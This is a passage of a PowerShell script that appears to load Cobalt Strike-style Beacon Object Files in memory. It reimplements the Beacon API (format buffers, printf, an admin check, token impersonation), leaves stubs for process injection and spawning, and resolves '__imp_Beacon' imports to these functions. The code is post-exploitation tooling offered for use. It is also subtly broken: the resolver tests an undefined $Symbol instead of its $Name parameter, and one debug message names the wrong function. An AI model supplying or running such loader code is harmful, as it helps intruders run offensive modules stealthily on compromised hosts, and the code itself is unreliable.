[System.Runtime.InteropServices.Marshal]::FreeHGlobal($FormatObject.original)
$FormatObject.original = [IntPtr]::Zero
$FormatObject.buffer = [IntPtr]::Zero
$FormatObject.size = 0
$FormatObject.length = 0
[System.Runtime.InteropServices.Marshal]::StructureToPtr($FormatObject, $Format, $false)
}
# reset all appended data
static [void] BeaconFormatReset([IntPtr] $Format)
{
$FormatObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Format, [Type]$script:BeaconTypes.formatp)
$FormatObject.length = 0
$Reset = New-Object Byte[] $FormatObject.size
[System.Runtime.InteropServices.Marshal]::Copy($Reset, 0, $FormatObject.buffer, $FormatObject.size)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($FormatObject, $Format, $false)
}
# Append new data to the format buffer
static [void] BeaconFormatAppend([IntPtr] $Format, [IntPtr] $Text, [int] $Len)
{
$FormatObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Format, [Type]$script:BeaconTypes.formatp)
# Copy from unmanaged to managed world
$ManagedTemp = New-Object Byte[] $Len
[System.Runtime.InteropServices.Marshal]::Copy($Text, $ManagedTemp, 0, $Len)
$BufferOffset = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$FormatObject.buffer) ($FormatObject.length))
[System.Runtime.InteropServices.Marshal]::Copy($ManagedTemp, 0, $BufferOffset, $Len)
$FormatObject.length += $Len
# Back to format
[System.Runtime.InteropServices.Marshal]::StructureToPtr($FormatObject, $Format, $false)
}
# Return the format buffer as a string buffer
# Use with BeaconOutput
static [IntPtr] BeaconFormatToString([IntPtr] $Format, [IntPtr] $Size)
{
$FormatObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Format, [Type]$script:BeaconTypes.formatp)
if ($Size -ne [IntPtr]::Zero)
{
[System.Runtime.InteropServices.Marshal]::Copy(@($FormatObject.length), 0, $Size, 1)
}
return $FormatObject.buffer
}
# Append integer to the format
static [void] BeaconFormatInt([IntPtr] $Format, [int] $Val)
{
$FormatObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Format, [Type]$script:BeaconTypes.formatp)
# now transfert to managed to unmanaged
$BufferOffset = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$FormatObject.buffer) ($FormatObject.length))
[System.Runtime.InteropServices.Marshal]::Copy(@([Int32]$Val), 0, $BufferOffset, 1)
$FormatObject.length += 4
[System.Runtime.InteropServices.Marshal]::StructureToPtr($FormatObject, $Format, $false)
}
# Append formated buffer
static [void] BeaconFormatPrintf ([IntPtr] $Format, [string] $Fmt, [IntPtr]$a1, [IntPtr]$a2)
{
$Value = [BeaconAPI]::Printf($Fmt, $a1, $a2)
$ManagedTemp = [System.Text.Encoding]::ASCII.GetBytes($Value)
$FormatObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Format, [Type]$script:BeaconTypes.formatp)
$BufferOffset = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$FormatObject.buffer) ($FormatObject.length))
[System.Runtime.InteropServices.Marshal]::Copy($ManagedTemp, 0, $BufferOffset, $Value.Length)
$FormatObject.length += $Value.Length
# Back to format
[System.Runtime.InteropServices.Marshal]::StructureToPtr($FormatObject, $Format, $false)
}
############################
# Output API #
############################
# internal Printf function
# CLR has limitatioin concerning varargs
# Only register params can be used
# At the end we only have 2 varargs parameters
static [string] Printf([string] $Fmt, [IntPtr]$a1, [IntPtr]$a2)
{
$Args = @($a1, $a2)
$ArgNumber = 0
$Result = ""
for($i=0; $i -lt $Fmt.Length; $i++)
{
if($Fmt[$i] -eq "%")
{
# Ascii string formating
if(($Fmt[$i + 1] -eq "s" -or $Fmt[$i + 1] -eq "S") -and $ArgNumber -lt $Args.Length)
{
$Result += [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($Args[$ArgNumber])
$i += 1
$ArgNumber += 1
}
# Integer
elseif(($Fmt[$i + 1] -eq "d") -and $ArgNumber -lt $Args.Length)
{
$Result += [int]$Args[$ArgNumber]
$i += 1
$ArgNumber += 1
}
# Unicode string formating
elseif(($Fmt[$i + 1] -eq "l" -and $Fmt[$i + 2] -eq "s") -and $ArgNumber -lt $Args.Length)
{
$Result += [System.Runtime.InteropServices.Marshal]::PtrToStringUni($Args[$ArgNumber])
$i += 2
$ArgNumber += 1
}
}
else
{
$Result += $Fmt[$i]
}
}
return $Result
}
# Print into powershell console
static [void] BeaconPrintf([int] $Type, [string] $Fmt, [IntPtr]$a1, [IntPtr]$a2)
{
[BeaconAPI]::Printf($Fmt, $a1, $a2) | Write-Host
}
# Dump hex data in console to audit format buffer for example
static [void] BeaconOutput([int] $Type, [IntPtr] $Data, [int] $Len)
{
# Copy from unmanaged to managed world
$ManagedTemp = New-Object Byte[] $Len
[System.Runtime.InteropServices.Marshal]::Copy($Data, $ManagedTemp, 0, $Len)
Write-Host "=============================== Beacon Output =============================="
$ManagedTemp | Format-Hex | Write-Host
Write-Host "============================================================================"
}
############################
# Internal APIs #
############################
# Api use by beacon to check current process privilege
static [bool] BeaconIsAdmin()
{
return Test-IsAdmin
}
# NOT IMPLEMENTED
static [bool] BeaconUseToken([IntPtr] $Token)
{
return $script:Win32Functions.SetThreadToken([IntPtr]::Zero, $Token)
}
# NOT IMPLEMENTED
static [bool] BeaconRevertToken()
{
return $false
}
# NOT IMPLEMENTED
static [void] BeaconGetSpawnTo([bool] $X86, [IntPtr] $Buffer, [int] $Length)
{
}
# NOT IMPLEMENTED
static [bool] BeaconSpawnTemporaryProcess([bool] $X86, [bool] $IgnoreToken, [IntPtr] $SInfo, [IntPtr] $PInfo)
{
return $false
}
# NOT IMPLEMENTED
static [void] BeaconInjectProcess([IntPtr] $HProc, [int] $Pid, [IntPtr] $Payload, [int] $PayloadLen, [int] $PayloadOffset, [IntPtr] $Arg, [int] $ArgLen)
{
}
# NOT IMPLEMENTED
static [void] BeaconInjectTemporaryProcess([IntPtr] $PInfo, [IntPtr] $Payload, [int] $PayloadLen, [int] $PayloadOffset, [IntPtr] $Arg, [int] $ArgLen)
{
}
# NOT IMPLEMENTED
static [void] BeaconCleanupProcess([IntPtr] $PInfo)
{
}
# Convert an ascii string into a wide char (unicode) string
static [bool] toWideChar([IntPtr] $Src, [IntPtr] $Dst, [int] $Max)
{
try
{
$AsciiString = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($Src)
$BytesArray = [System.Text.Encoding]::Unicode.GetBytes($AsciiString)
$BytesArray += [Byte]0
$BytesArray += [Byte]0
[System.Runtime.InteropServices.Marshal]::Copy($BytesArray, 0, $Dst, ($BytesArray.Length,$Max | Measure -Min).Minimum)
}
catch
{
return $false
}
return $true
}
}
$BeaconAPI = New-Object System.Object
$BeaconDataParseDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr], [IntPtr], [int]) ([void])), [BeaconAPI].GetMethod("BeaconDataParse"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconDataParse -Value ($BeaconDataParseDelegate)
$BeaconDataExtractDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])), [BeaconAPI].GetMethod("BeaconDataExtract"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconDataExtract -Value ($BeaconDataExtractDelegate)
$BeaconDataIntDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr]) ([int])), [BeaconAPI].GetMethod("BeaconDataInt"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconDataInt -Value ($BeaconDataIntDelegate)
$BeaconDataShortDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr]) ([int16])), [BeaconAPI].GetMethod("BeaconDataShort"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconDataShort -Value ($BeaconDataShortDelegate)
$BeaconDataLengthDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr]) ([int])), [BeaconAPI].GetMethod("BeaconDataLength"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconDataLength -Value ($BeaconDataLengthDelegate)
$BeaconIsAdminDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @() ([bool])), [BeaconAPI].GetMethod("BeaconIsAdmin"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconIsAdmin -Value ($BeaconIsAdminDelegate)
$BeaconFormatAllocDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr], [int]) ([void])), [BeaconAPI].GetMethod("BeaconFormatAlloc"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconFormatAlloc -Value ($BeaconFormatAllocDelegate)
$BeaconFormatFreeDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr]) ([void])), [BeaconAPI].GetMethod("BeaconFormatFree"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconFormatFree -Value ($BeaconFormatFreeDelegate)
$BeaconFormatResetDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr]) ([void])), [BeaconAPI].GetMethod("BeaconFormatReset"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconFormatReset -Value ($BeaconFormatResetDelegate)
$BeaconFormatAppendDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr], [IntPtr], [int]) ([void])), [BeaconAPI].GetMethod("BeaconFormatAppend"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconFormatAppend -Value ($BeaconFormatAppendDelegate)
$BeaconFormatToStringDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])), [BeaconAPI].GetMethod("BeaconFormatToString"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconFormatToString -Value ($BeaconFormatToStringDelegate)
$BeaconFormatIntDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr], [int]) ([void])), [BeaconAPI].GetMethod("BeaconFormatInt"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconFormatInt -Value ($BeaconFormatIntDelegate)
$BeaconFormatPrintfDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr], [string], [IntPtr], [IntPtr]) ([void])), [BeaconAPI].GetMethod("BeaconFormatPrintf"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconFormatPrintf -Value ($BeaconFormatPrintfDelegate)
$BeaconPrintfDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([int], [string], [IntPtr], [IntPtr]) ([void])), [BeaconAPI].GetMethod("BeaconPrintf"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconPrintf -Value ($BeaconPrintfDelegate)
$BeaconOutputDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([int], [IntPtr], [int])), [BeaconAPI].GetMethod("BeaconOutput"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconOutput -Value ($BeaconOutputDelegate)
$BeaconUseTokenDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr]) ([bool])), [BeaconAPI].GetMethod("BeaconUseToken"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconUseToken -Value ($BeaconUseTokenDelegate)
$BeaconRevertTokenDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @() ([bool])), [BeaconAPI].GetMethod("BeaconRevertToken"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconRevertToken -Value ($BeaconRevertTokenDelegate)
$BeaconGetSpawnToDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([bool], [IntPtr], [int]) ([void])), [BeaconAPI].GetMethod("BeaconGetSpawnTo"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconGetSpawnTo -Value ($BeaconGetSpawnToDelegate)
$BeaconSpawnTemporaryProcessDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([bool], [bool], [IntPtr], [IntPtr]) ([bool])), [BeaconAPI].GetMethod("BeaconSpawnTemporaryProcess"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconSpawnTemporaryProcess -Value ($BeaconSpawnTemporaryProcessDelegate)
$BeaconInjectProcessDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr], [int], [IntPtr], [int], [int], [IntPtr], [int]) ([void])), [BeaconAPI].GetMethod("BeaconInjectProcess"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconInjectProcess -Value ($BeaconInjectProcessDelegate)
$BeaconInjectTemporaryProcessDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr], [IntPtr], [int], [int], [IntPtr], [int]) ([void])), [BeaconAPI].GetMethod("BeaconInjectTemporaryProcess"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconInjectTemporaryProcess -Value ($BeaconInjectTemporaryProcessDelegate)
$BeaconCleanupProcessDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr]) ([void])), [BeaconAPI].GetMethod("BeaconCleanupProcess"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name BeaconCleanupProcess -Value ($BeaconCleanupProcessDelegate)
$toWideCharDelegate = [System.Delegate]::CreateDelegate([Type](Get-DelegateType @([IntPtr], [IntPtr], [int]) ([bool])), [BeaconAPI].GetMethod("toWideChar"))
$BeaconAPI | Add-Member -MemberType NoteProperty -Name toWideChar -Value ($toWideCharDelegate)
return $BeaconAPI
}
# Function that will resolve extern function
# 2 Kinds of extern are handled
# - Module api name __imp_MODULE_NAME$EXPORT_NAME will be handled by LoadLibrary, GetProcAddress
# - Function start with __imp_Beacon are resolved internally rusing BeaconAPI
Function Resolve-Extern
{
Param(
[Parameter( Position = 0, Mandatory = $true )]
[String[]]
$Name,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$BeaconAPI
)
if ($Symbol -eq "__imp_BeaconDataParse")
{
Write-Debug "[+] Resolving BeaconDataParse"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconDataParse)
}
elseif($Symbol -eq "__imp_BeaconDataExtract")
{
Write-Debug "[+] Resolving BeaconDataExtract"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconDataExtract)
}
elseif($Symbol -eq "__imp_BeaconPrintf")
{
Write-Debug "[+] Resolving BeaconPrintf"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconPrintf)
}
elseif($Symbol -eq "__imp_BeaconDataInt")
{
Write-Debug "[+] Resolving BeaconDataInt"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconDataInt)
}
elseif($Symbol -eq "__imp_BeaconDataShort")
{
Write-Debug "[+] Resolving BeaconDataShort"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconDataShort)
}
elseif($Symbol -eq "__imp_BeaconDataLength")
{
Write-Debug "[+] Resolving BeaconDataLength"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconDataLength)
}
elseif($Symbol -eq "__imp_BeaconIsAdmin")
{
Write-Debug "[+] Resolving BeaconIsAdmin"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconIsAdmin)
}
elseif($Symbol -eq "__imp_BeaconFormatAlloc")
{
Write-Debug "[+] Resolving BeaconFormatAlloc"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconFormatAlloc)
}
elseif($Symbol -eq "__imp_BeaconFormatFree")
{
Write-Debug "[+] Resolving BeaconFormatFree"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconFormatFree)
}
elseif($Symbol -eq "__imp_BeaconFormatReset")
{
Write-Debug "[+] Resolving BeaconFormatReset"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconFormatReset)
}
elseif($Symbol -eq "__imp_BeaconFormatAppend")
{
Write-Debug "[+] Resolving BeaconFormatReset"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconFormatAppend)
}
elseif($Symbol -eq "__imp_BeaconFormatToString")
{
Write-Debug "[+] Resolving BeaconFormatToString"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconFormatToString)
}
elseif($Symbol -eq "__imp_BeaconFormatInt")
{
Write-Debug "[+] Resolving BeaconFormatInt"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconFormatInt)
}
elseif($Symbol -eq "__imp_BeaconFormatPrintf")
{
Write-Debug "[+] Resolving BeaconFormatPrintf"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconFormatPrintf)
}
elseif($Symbol -eq "__imp_BeaconOutput")
{
Write-Debug "[+] Resolving BeaconOutput"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconOutput)
}
elseif($Symbol -eq "__imp_BeaconUseToken")
{
Write-Debug "[+] Resolving BeaconUseToken"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconUseToken)
}
elseif($Symbol -eq "__imp_BeaconRevertToken")
{
Write-Debug "[+] Resolving BeaconRevertToken"
return [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate($BeaconAPI.BeaconRevertToken)
}
elseif($Symbol -eq "__imp_BeaconGetSpawnTo")